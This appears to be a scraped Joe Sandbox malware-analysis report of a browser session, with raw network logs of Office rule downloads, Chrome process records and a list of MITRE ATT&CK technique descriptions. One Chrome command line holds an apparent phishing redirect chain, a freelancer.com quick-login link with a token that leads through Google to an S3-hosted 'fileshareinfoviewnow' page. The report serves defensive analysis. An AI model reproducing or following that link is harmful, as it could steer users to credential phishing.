54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:24 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:24 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211724Z-1746fd949bdxk6n6hC1EWRdr8c000000033g00000000eu9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:24 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:24 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211724Z-1746fd949bdjrnwqhC1EWRpg2800000003a000000000gv97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:24 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Target ID:	0
Start time:	16:15:54
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:15:56
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1584 --field-trial-handle=1948,i,4226973549147182444,5729737476219076830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	16:16:02
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84